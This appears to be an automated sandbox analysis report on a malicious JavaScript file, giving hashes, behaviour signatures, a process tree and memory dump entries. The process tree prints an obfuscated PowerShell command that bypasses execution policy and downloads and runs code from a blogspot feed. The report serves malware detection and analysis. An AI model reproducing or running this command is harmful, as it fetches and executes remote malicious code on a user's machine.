Analysis

  • max time kernel
    120s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    17-11-2023 08:50

General

  • Target

    6ad3ba5c57ad42f2915166df9b09417d.js

  • Size

    79KB

  • MD5

    6ad3ba5c57ad42f2915166df9b09417d

  • SHA1

    b24e0268f97de481f65827a8604c21dfaa598839

  • SHA256

    4b908a89d4b36d13f8a39f7c9d464d19b1378cd924f0e2319684fb77ffe8ff0b

  • SHA512

    d8c40786019d424ae0d258d43a15788f4ad95ffe4eb12dcd132c10cbc9812f8d316257a3d16f5f8dcf235ceb22d7ee4ea1ff24beb9739039d5cb0372181b7d83

  • SSDEEP

    48:/bH8kOofHb/hyWdawjJuF7ejZVt2LGLKY:/DOofcWIwjJuF7itmY

Score
7/10

Malware Config

Signatures

  • Deletes itself 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\6ad3ba5c57ad42f2915166df9b09417d.js
    1⤵
    • Deletes itself
    • Suspicious use of WriteProcessMemory
    PID:2268
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c $((irm busizinusa.blogspot.com///////////////////////////////////atom.xml) | .('{1}{0}'-f'XXXWww','I').replace('XXXWww','ex'))
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2124

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2124-5-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

    Filesize

    9.6MB

  • memory/2124-4-0x000000001B260000-0x000000001B542000-memory.dmp

    Filesize

    2.9MB

  • memory/2124-7-0x0000000002490000-0x0000000002498000-memory.dmp

    Filesize

    32KB

  • memory/2124-6-0x00000000027B0000-0x0000000002830000-memory.dmp

    Filesize

    512KB

  • memory/2124-8-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

    Filesize

    9.6MB

  • memory/2124-10-0x00000000027B0000-0x0000000002830000-memory.dmp

    Filesize

    512KB

  • memory/2124-9-0x00000000027B0000-0x0000000002830000-memory.dmp

    Filesize

    512KB

  • memory/2124-11-0x00000000027B0000-0x0000000002830000-memory.dmp

    Filesize

    512KB

  • memory/2124-12-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

    Filesize

    9.6MB